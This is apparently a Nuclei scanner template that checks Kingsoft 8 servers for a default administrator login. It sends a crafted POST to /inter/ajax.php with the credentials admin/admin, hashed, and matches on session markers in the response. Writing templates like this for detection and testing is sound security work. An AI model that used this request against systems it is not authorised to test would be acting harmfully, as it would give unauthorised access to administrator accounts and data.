id: kingsoft-v8-default-login

info:
  name: Kingsoft 8 - Default Login
  author: ritikchaddha
  severity: high
  description: Kingsoft version 8 contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://idc.wanyunshuju.com/aqld/2123.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: kingsoft,default-login

http:
  - raw:
      - |
        POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1
        Host: {{Hostname}}

        {"get_user_login_cmd":{"name":"{{username}}","password":"{{md5(password)}}"}}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin
    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "ADMIN"
          - "userSession"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402204c4071c1d893bbe071ae4ad101bfdceeade5b7a0d5c429c1b5c27fd9323a873202206a70965e20aa6dd43ac41eded3ba34d033d2eafd5b349a61e0a0bcae5eb59503:922c64590222798bb761d5b6d8e72950